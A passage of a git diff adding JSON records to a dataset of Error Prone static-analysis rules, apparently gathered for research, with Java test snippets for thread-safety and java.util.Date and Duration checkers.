+ ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test extends Super {}" + }, + { + "description": "transitive", + "expected-problems": null, + "expected-linenumbers": [ + 933 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n interface I {}\n \n\n package threadsafety;\n\n // BUG: Diagnostic contains: extends @ThreadSafe\n class Test implements J {\n public int x = 0;\n }\n \n\n package threadsafety;\n\n // BUG: Diagnostic contains: extends @ThreadSafe\n interface J extends I {}" + }, + { + "description": "negativeAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 969 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n class Test {\n {\n new Super() {};\n }\n }" + }, + { + "description": "positiveEnumConstant", + "expected-problems": null, + "expected-linenumbers": [ + 998 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n interface Super {\n int f();\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n enum Test implements Super {\n INSTANCE {\n // BUG: Diagnostic contains: should be final or annotated\n public int x = 0;\n\n public int f() {\n return x++;\n }\n }\n }" + }, + { + "description": "negativeEnumConstant", + "expected-problems": null, + "expected-linenumbers": [ + 1035 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n interface Super {\n void f();\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n enum Test implements Super {\n INSTANCE {\n public void f() {}\n }\n }" + }, + { + "description": "immutableNull", + "expected-problems": null, + "expected-linenumbers": [ + 1081 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n final int[] xs = null;\n }" + }, + { + "description": "twoFieldsInSource", + "expected-problems": null, + "expected-linenumbers": [ + 1097 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: arrays are not thread-safe\n final int[] xs = {1};\n // BUG: Diagnostic contains: arrays are not thread-safe\n final int[] ys = {1};\n }" + }, + { + "description": "protosNotOnClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 1116 + ], + "code": "package com.google.errorprone.annotations;\n\n import static java.lang.annotation.ElementType.TYPE;\n import static java.lang.annotation.RetentionPolicy.RUNTIME;\n import java.lang.annotation.Retention;\n import java.lang.annotation.Target;\n\n @Target(TYPE)\n @Retention(RUNTIME)\n public @interface ThreadSafe {}" + }, + { + "description": "mutableEnclosing", + "expected-problems": null, + "expected-linenumbers": [ + 1146 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n public class Test {\n int x = 0;\n\n @ThreadSafe\n // BUG: Diagnostic contains: 'Inner' has non-thread-safe enclosing instance 'Test'\n public class Inner {\n public int count() {\n return x++;\n }\n }\n }" + }, + { + "description": "superFieldSuppression", + "expected-problems": null, + "expected-linenumbers": [ + 1178 + ], + "code": "" + }, + { + "description": "lazyInit", + "expected-problems": null, + "expected-linenumbers": [ + 1189 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import com.google.errorprone.annotations.concurrent.LazyInit;\n\n @ThreadSafe\n class Test {\n @LazyInit int a = 42;\n }" + }, + { + "description": "lazyInitMutable", + "expected-problems": null, + "expected-linenumbers": [ + 1206 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import com.google.errorprone.annotations.concurrent.LazyInit;\n import java.util.List;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: 'List' is not thread-safe\n @LazyInit List a = null;\n }" + }, + { + "description": "rawClass", + "expected-problems": null, + "expected-linenumbers": [ + 1225 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n final Class clazz = Test.class;\n }" + }, + { + "description": "threadSafeTypeParam", + "expected-problems": null, + "expected-linenumbers": [ + 1242 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.ThreadSafe;\n\n public class X {\n final ImmutableList<@ThreadSafeTypeParameter ?> unknownSafeType;\n\n X(ImmutableList<@ThreadSafeTypeParameter ?> unknownSafeType) {\n this.unknownSafeType = unknownSafeType;\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n\n class Test {\n final X badX = new X(ImmutableList.of(ImmutableList.of()));\n }" + }, + { + "description": "mutableTypeParam", + "expected-problems": null, + "expected-linenumbers": [ + 1272 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.ThreadSafe;\n\n public class X {\n final ImmutableList<@ThreadSafe ?> unknownSafeType;\n\n X(ImmutableList<@ThreadSafe ?> unknownSafeType) {\n this.unknownSafeType = unknownSafeType;\n }\n }\n \n\n import java.util.ArrayList;\n import com.google.common.collect.ImmutableList;\n\n class Test {\n // BUG: Diagnostic contains:\n final X badX = new X(ImmutableList.of(new ArrayList()));\n }" + }, + { + "description": "knownThreadSafeFlag", + "expected-problems": null, + "expected-linenumbers": [ + 1313 + ], + "code": "package threadsafety;\n\n class SomeImmutable {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n public final SomeImmutable s = new SomeImmutable();\n }" + }, + { + "description": "threadSafeTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1339 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n\n @ThreadSafe\n class Test<@ThreadSafeTypeParameter T> {\n final T t = null;\n }" + }, + { + "description": "threadSafeTypeParameterInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 1356 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n\n @ThreadSafe\n class A<@ThreadSafeTypeParameter T> {}\n \n\nclass Test {\n A f() {\n return new A<>();\n }\n\n A g() {\n // BUG: Diagnostic contains: instantiation of 'T' is not thread-safe, 'Object' is not\n // thread-safe\n return new A<>();\n }\n}" + }, + { + "description": "threadSafeTypeParameterUsage", + "expected-problems": null, + "expected-linenumbers": [ + 1386 + ], + "code": "import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n\n class Test {\n static <@ThreadSafeTypeParameter T> void f() {}\n }" + }, + { + "description": "threadSafeTypeParameterUsage_interface", + "expected-problems": null, + "expected-linenumbers": [ + 1401 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n\n @ThreadSafe\n interface Test<@ThreadSafeTypeParameter T> {}" + }, + { + "description": "threadSafeTypeParameterMutableClass", + "expected-problems": null, + "expected-linenumbers": [ + 1416 + ], + "code": "import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n\n // BUG: Diagnostic contains: @ThreadSafeTypeParameter is only supported on\n class A<@ThreadSafeTypeParameter T> {}" + }, + { + "description": "annotatedClassType", + "expected-problems": null, + "expected-linenumbers": [ + 1430 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n\n @Target(TYPE_USE)\n @interface A {}\n\n class Test {\n Object o = new @A Object();\n }" + }, + { + "description": "instantiationWithThreadSafeTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1449 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.ThreadSafe;\n import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n\n @ThreadSafe\n public class Test<@ThreadSafeTypeParameter T> {\n final ImmutableList xs = ImmutableList.of();\n }" + }, + { + "description": "notAllTypeVarsInstantiated", + "expected-problems": null, + "expected-linenumbers": [ + 1468 + ], + "code": "import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n import java.util.function.Function;\n\n class Test {\n public final void f1(A transform) {}\n\n public C f2(Function fn) {\n return null;\n }\n\n public final void f3(Function fn) {\n // BUG: Diagnostic contains: instantiation of 'C' is not thread-safe\n // 'E' is a non-thread-safe type variable\n f1(f2(fn));\n }\n }" + }, + { + "description": "notAllTypeVarsInstantiated_shouldFail", + "expected-problems": null, + "expected-linenumbers": [ + 1497 + ], + "code": "import com.google.errorprone.annotations.ThreadSafeTypeParameter;\n import java.util.function.Function;\n\n class Test {\n public final void f1(A transform) {}\n\n public <@ThreadSafeTypeParameter B, C> C f2(Function fn) {\n return null;\n }\n\n public final void f3(Function fn) {\n // BUG: Diagnostic contains: instantiation of 'B' is not thread-safe\n // 'D' is a non-thread-safe type variable\n f1(f2(fn));\n }\n }" + }, + { + "description": "threadSafeUpperBound", + "expected-problems": null, + "expected-linenumbers": [ + 1523 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class MyThreadSafeType {}\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n final T x = null;\n }" + }, + { + "description": "threadSafeRecursiveUpperBound", + "expected-problems": null, + "expected-linenumbers": [ + 1547 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n abstract class Recursive> {\n final T x = null;\n }" + }, + { + "description": "threadSafeRecursiveUpperBound_notThreadsafe", + "expected-problems": null, + "expected-linenumbers": [ + 1563 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\nimport java.util.List;\n\n@ThreadSafe\nabstract class Recursive> {\n final T x = null;\n // BUG: Diagnostic contains: @ThreadSafe class has non-thread-safe field, 'List' is not\n // thread-safe\n final List y = null;\n}" + }, + { + "description": "protoEnum", + "expected-problems": null, + "expected-linenumbers": [ + 1583 + ], + "code": "import com.google.protobuf.ProtocolMessageEnum;\n\n abstract class E implements ProtocolMessageEnum {}\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n final E x = null;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DateChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DateChecker.json new file mode 100644 index 0000000..95cfe36 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DateChecker.json @@ -0,0 +1,142 @@ +{ + "name": "DateChecker", + "language": "java", + "description": "Warns against suspect looking calls to java.util.Date APIs", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 174, + "branches": 23, + "apis": 2, + "test": [ + { + "description": "badBehavior", + "expected-problems": null, + "expected-linenumbers": [ + 41 + ], + "code": "" + }, + { + "description": "constructor_good", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "import static java.util.Calendar.JULY;\n import java.util.Date;\n\n public class TestClass {\n Date good = new Date(120, JULY, 10);\n }" + }, + { + "description": "constructor_nonConstantMonth", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n // BUG: Diagnostic contains: Use Calendar.MAY instead of 4 to represent the month.\n Date good = new Date(120, 4, 10);\n }" + }, + { + "description": "constructor_constants", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n private static final int MAY = 4;\n Date good = new Date(120, MAY, 31);\n }" + }, + { + "description": "constructor_nonConstants", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n Date good = new Date(getYear(), getMonth(), getDay());\n\n int getYear() {\n return 120;\n }\n\n int getMonth() {\n return 0;\n }\n\n int getDay() {\n return 1;\n }\n }" + }, + { + "description": "constructor_allBad", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "import java.util.Date;\n\npublic class TestClass {\n // BUG: Diagnostic contains: The 1900-based year value (2020) is out of bounds [1..300]. The\n // 0-based month value (13) is out of bounds [0..11].\n Date bad1 = new Date(2020, 13, 31);\n // BUG: Diagnostic contains: The 1900-based year value (2020) is out of bounds [1..300]. The\n // 0-based month value (13) is out of bounds [0..11]. The hours value (-2) is out of bounds\n // [0..23]. The minutes value (61) is out of bounds [0..59].\n Date bad2 = new Date(2020, 13, 31, -2, 61);\n // BUG: Diagnostic contains: The 1900-based year value (2020) is out of bounds [1..300]. The\n // 0-based month value (13) is out of bounds [0..11]. The hours value (-2) is out of bounds\n // [0..23]. The minutes value (61) is out of bounds [0..59]. The seconds value (75) is out of\n // bounds [0..59].\n Date bad3 = new Date(2020, 13, 31, -2, 61, 75);\n}" + }, + { + "description": "constructor_badYear", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "import static java.util.Calendar.JULY;\nimport java.util.Date;\n\npublic class TestClass {\n // BUG: Diagnostic contains: The 1900-based year value (2020) is out of bounds [1..300].\n Date bad = new Date(2020, JULY, 10);\n}" + }, + { + "description": "constructor_badMonth", + "expected-problems": null, + "expected-linenumbers": [ + 195 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n // BUG: Diagnostic contains: The 0-based month value (12) is out of bounds [0..11].\n Date bad1 = new Date(120, 12, 10);\n // BUG: Diagnostic contains: The 0-based month value (13) is out of bounds [0..11].\n Date bad2 = new Date(120, 13, 10);\n // BUG: Diagnostic contains: The 0-based month value (-1) is out of bounds [0..11].\n Date bad3 = new Date(120, -1, 10);\n // BUG: Diagnostic contains: The 0-based month value (-13) is out of bounds [0..11].\n Date bad4 = new Date(120, -13, 10);\n // BUG: Diagnostic contains: Use Calendar.MAY instead of 4 to represent the month.\n Date bad5 = new Date(120, 4, 10);\n }" + }, + { + "description": "constructor_badDay", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "import static java.util.Calendar.JULY;\n import java.util.Date;\n\n public class TestClass {\n // BUG: Diagnostic contains: The day value (32) is out of bounds [1..31].\n Date bad1 = new Date(120, JULY, 32);\n // BUG: Diagnostic contains: The day value (0) is out of bounds [1..31].\n Date bad2 = new Date(120, JULY, 0);\n // BUG: Diagnostic contains: The day value (-32) is out of bounds [1..31].\n Date bad3 = new Date(120, JULY, -32);\n }" + }, + { + "description": "setters_good", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "import static java.util.Calendar.*;\n import java.util.Date;\n\n public class TestClass {\n public void foo(Date date) {\n date.setYear(1);\n date.setYear(120);\n date.setYear(300);\n date.setMonth(JANUARY);\n date.setMonth(FEBRUARY);\n date.setMonth(MARCH);\n date.setMonth(APRIL);\n date.setMonth(MAY);\n date.setMonth(JUNE);\n date.setMonth(JULY);\n date.setMonth(AUGUST);\n date.setMonth(SEPTEMBER);\n date.setMonth(OCTOBER);\n date.setMonth(NOVEMBER);\n date.setMonth(DECEMBER);\n date.setDate(1);\n date.setDate(15);\n date.setDate(31);\n date.setHours(0);\n date.setHours(12);\n date.setHours(23);\n date.setMinutes(0);\n date.setMinutes(30);\n date.setMinutes(59);\n date.setSeconds(0);\n date.setSeconds(30);\n date.setSeconds(59);\n }\n }" + }, + { + "description": "setters_badYears", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "import java.util.Date;\n\npublic class TestClass {\n public void foo(Date date) {\n // BUG: Diagnostic contains: The 1900-based year value (0) is out of bounds [1..300].\n date.setYear(0);\n // BUG: Diagnostic contains: The 1900-based year value (-1) is out of bounds [1..300].\n date.setYear(-1);\n // BUG: Diagnostic contains: The 1900-based year value (2020) is out of bounds [1..300].\n date.setYear(2020);\n }\n}" + }, + { + "description": "setters_badMonths", + "expected-problems": null, + "expected-linenumbers": [ + 306 + ], + "code": "import java.util.Date;\n\npublic class TestClass {\n public void foo(Date date) {\n // BUG: Diagnostic contains: The 0-based month value (-13) is out of bounds [0..11].\n date.setMonth(-13);\n // BUG: Diagnostic contains: The 0-based month value (-1) is out of bounds [0..11].\n date.setMonth(-1);\n // BUG: Diagnostic contains: The 0-based month value (12) is out of bounds [0..11].\n date.setMonth(12);\n }\n}" + }, + { + "description": "setters_badDays", + "expected-problems": null, + "expected-linenumbers": [ + 328 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n public void foo(Date date) {\n // BUG: Diagnostic contains: The day value (-32) is out of bounds [1..31].\n date.setDate(-32);\n // BUG: Diagnostic contains: The day value (0) is out of bounds [1..31].\n date.setDate(0);\n // BUG: Diagnostic contains: The day value (32) is out of bounds [1..31].\n date.setDate(32);\n }\n }" + }, + { + "description": "setters_badHours", + "expected-problems": null, + "expected-linenumbers": [ + 350 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n public void foo(Date date) {\n // BUG: Diagnostic contains: The hours value (-1) is out of bounds [0..23].\n date.setHours(-1);\n // BUG: Diagnostic contains: The hours value (24) is out of bounds [0..23].\n date.setHours(24);\n }\n }" + }, + { + "description": "setters_badMinutes", + "expected-problems": null, + "expected-linenumbers": [ + 370 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n public void foo(Date date) {\n // BUG: Diagnostic contains: The minutes value (-1) is out of bounds [0..59].\n date.setMinutes(-1);\n // BUG: Diagnostic contains: The minutes value (60) is out of bounds [0..59].\n date.setMinutes(60);\n }\n }" + }, + { + "description": "setters_badSeconds", + "expected-problems": null, + "expected-linenumbers": [ + 390 + ], + "code": "import java.util.Date;\n\n public class TestClass {\n public void foo(Date date) {\n // BUG: Diagnostic contains: The seconds value (-1) is out of bounds [0..59].\n date.setSeconds(-1);\n // BUG: Diagnostic contains: The seconds value (60) is out of bounds [0..59].\n date.setSeconds(60);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationFrom.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationFrom.json new file mode 100644 index 0000000..21d6161 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationFrom.json @@ -0,0 +1,30 @@ +{ + "name": "DurationFrom", + "language": "java", + "description": "Duration.from(Duration) returns itself; from(Period) throws a runtime exception.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "failures", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "" + }, + { + "description": "durationFrom", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationGetTemporalUnit.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationGetTemporalUnit.json new file mode 100644 index 0000000..d525a64 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationGetTemporalUnit.json @@ -0,0 +1,54 @@ +{ + "name": "DurationGetTemporalUnit", + "language": "java", + "description": "Duration.get() only works with SECONDS or NANOS.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "durationGetTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.time.Duration;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final long seconds = Duration.ZERO.get(ChronoUnit.SECONDS);\n private static final long nanos = Duration.ZERO.get(ChronoUnit.NANOS);\n // BUG: Diagnostic contains: Duration.ZERO.toDays();\n private static final long days = Duration.ZERO.get(ChronoUnit.DAYS);\n }" + }, + { + "description": "durationGetTemporalUnitStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import static java.time.temporal.ChronoUnit.MILLIS;\n import static java.time.temporal.ChronoUnit.NANOS;\n import static java.time.temporal.ChronoUnit.SECONDS;\n import java.time.Duration;\n\n public class TestClass {\n private static final long seconds = Duration.ZERO.get(SECONDS);\n private static final long nanos = Duration.ZERO.get(NANOS);\n // BUG: Diagnostic contains: Duration.ZERO.toMillis();\n private static final long days = Duration.ZERO.get(MILLIS);\n }" + }, + { + "description": "durationGetWithRandomTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "" + }, + { + "description": "durationGetWithAliasedTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "" + }, + { + "description": "durationGetWithCustomTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationTemporalUnit.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationTemporalUnit.json new file mode 100644 index 0000000..f5a072f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationTemporalUnit.json @@ -0,0 +1,94 @@ +{ + "name": "DurationTemporalUnit", + "language": "java", + "description": "Duration APIs only work for DAYS or exact durations.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "durationOf_good", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.time.Duration;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final Duration D0 = Duration.of(1, ChronoUnit.DAYS);\n private static final Duration D1 = Duration.of(1, ChronoUnit.HALF_DAYS);\n private static final Duration D2 = Duration.of(1, ChronoUnit.HOURS);\n private static final Duration D3 = Duration.of(1, ChronoUnit.MICROS);\n private static final Duration D4 = Duration.of(1, ChronoUnit.MILLIS);\n private static final Duration D5 = Duration.of(1, ChronoUnit.MINUTES);\n private static final Duration D6 = Duration.of(1, ChronoUnit.NANOS);\n private static final Duration D7 = Duration.of(1, ChronoUnit.SECONDS);\n }" + }, + { + "description": "durationOf_bad", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import java.time.Duration;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D0 = Duration.of(1, ChronoUnit.CENTURIES);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D1 = Duration.of(1, ChronoUnit.DECADES);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D2 = Duration.of(1, ChronoUnit.ERAS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D3 = Duration.of(1, ChronoUnit.FOREVER);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D4 = Duration.of(1, ChronoUnit.MILLENNIA);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D5 = Duration.of(1, ChronoUnit.MONTHS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D6 = Duration.of(1, ChronoUnit.WEEKS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D7 = Duration.of(1, ChronoUnit.YEARS);\n }" + }, + { + "description": "durationPlus_good", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "import java.time.Duration;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final Duration D0 = Duration.ZERO.plus(1, ChronoUnit.DAYS);\n private static final Duration D1 = Duration.ZERO.plus(1, ChronoUnit.HALF_DAYS);\n private static final Duration D2 = Duration.ZERO.plus(1, ChronoUnit.HOURS);\n private static final Duration D3 = Duration.ZERO.plus(1, ChronoUnit.MICROS);\n private static final Duration D4 = Duration.ZERO.plus(1, ChronoUnit.MILLIS);\n private static final Duration D5 = Duration.ZERO.plus(1, ChronoUnit.MINUTES);\n private static final Duration D6 = Duration.ZERO.plus(1, ChronoUnit.NANOS);\n private static final Duration D7 = Duration.ZERO.plus(1, ChronoUnit.SECONDS);\n }" + }, + { + "description": "durationPlus_bad", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import java.time.Duration;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D0 = Duration.ZERO.plus(1, ChronoUnit.CENTURIES);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D1 = Duration.ZERO.plus(1, ChronoUnit.DECADES);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D2 = Duration.ZERO.plus(1, ChronoUnit.ERAS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D3 = Duration.ZERO.plus(1, ChronoUnit.FOREVER);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D4 = Duration.ZERO.plus(1, ChronoUnit.MILLENNIA);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D5 = Duration.ZERO.plus(1, ChronoUnit.MONTHS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D6 = Duration.ZERO.plus(1, ChronoUnit.WEEKS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D7 = Duration.ZERO.plus(1, ChronoUnit.YEARS);\n }" + }, + { + "description": "durationMinus_good", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "import java.time.Duration;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final Duration D0 = Duration.ZERO.minus(1, ChronoUnit.DAYS);\n private static final Duration D1 = Duration.ZERO.minus(1, ChronoUnit.HALF_DAYS);\n private static final Duration D2 = Duration.ZERO.minus(1, ChronoUnit.HOURS);\n private static final Duration D3 = Duration.ZERO.minus(1, ChronoUnit.MICROS);\n private static final Duration D4 = Duration.ZERO.minus(1, ChronoUnit.MILLIS);\n private static final Duration D5 = Duration.ZERO.minus(1, ChronoUnit.MINUTES);\n private static final Duration D6 = Duration.ZERO.minus(1, ChronoUnit.NANOS);\n private static final Duration D7 = Duration.ZERO.minus(1, ChronoUnit.SECONDS);\n }" + }, + { + "description": "durationMinus_bad", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "import java.time.Duration;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D0 = Duration.ZERO.minus(1, ChronoUnit.CENTURIES);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D1 = Duration.ZERO.minus(1, ChronoUnit.DECADES);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D2 = Duration.ZERO.minus(1, ChronoUnit.ERAS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D3 = Duration.ZERO.minus(1, ChronoUnit.FOREVER);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D4 = Duration.ZERO.minus(1, ChronoUnit.MILLENNIA);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D5 = Duration.ZERO.minus(1, ChronoUnit.MONTHS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D6 = Duration.ZERO.minus(1, ChronoUnit.WEEKS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D7 = Duration.ZERO.minus(1, ChronoUnit.YEARS);\n }" + }, + { + "description": "durationOfStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "import static java.time.temporal.ChronoUnit.NANOS;\n import static java.time.temporal.ChronoUnit.SECONDS;\n import static java.time.temporal.ChronoUnit.YEARS;\n import java.time.Duration;\n\n public class TestClass {\n private static final Duration D1 = Duration.of(1, SECONDS);\n private static final Duration D2 = Duration.of(1, NANOS);\n // BUG: Diagnostic contains: DurationTemporalUnit\n private static final Duration D3 = Duration.of(1, YEARS);\n }" + }, + { + "description": "durationOfWithRandomTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "" + }, + { + "description": "durationOfWithAliasedTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 231 + ], + "code": "" + }, + { + "description": "durationOfWithCustomTemporalUnit", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationToLongTimeUnit.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationToLongTimeUnit.json new file mode 100644 index 0000000..79c0a2d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/DurationToLongTimeUnit.json @@ -0,0 +1,70 @@ +{ + "name": "DurationToLongTimeUnit", + "language": "java", + "description": "Unit mismatch when decomposing a Duration or Instant to call a API", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 160, + "branches": 14, + "apis": 4, + "test": [ + { + "description": "correspondingUnitsAreOk", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.protobuf.Duration;\n import com.google.protobuf.Timestamp;\n import java.util.concurrent.Future;\n import java.util.concurrent.TimeUnit;\n\n public class TestClass {\n void javaTime(Future f, java.time.Duration d) throws Exception {\n f.get(42L, TimeUnit.SECONDS);\n f.get(d.toNanos(), TimeUnit.NANOSECONDS);\n f.get(d.toMillis(), TimeUnit.MILLISECONDS);\n f.get(d.toSeconds(), TimeUnit.SECONDS);\n f.get(d.getSeconds(), TimeUnit.SECONDS);\n f.get(d.toMinutes(), TimeUnit.MINUTES);\n f.get(d.toHours(), TimeUnit.HOURS);\n f.get(d.toDays(), TimeUnit.DAYS);\n }\n\n void javaTime(Future f, java.time.Instant i) throws Exception {\n f.get(42L, TimeUnit.SECONDS);\n f.get(i.toEpochMilli(), TimeUnit.MILLISECONDS);\n f.get(i.getEpochSecond(), TimeUnit.SECONDS);\n }\n\n void jodaTime(Future f, 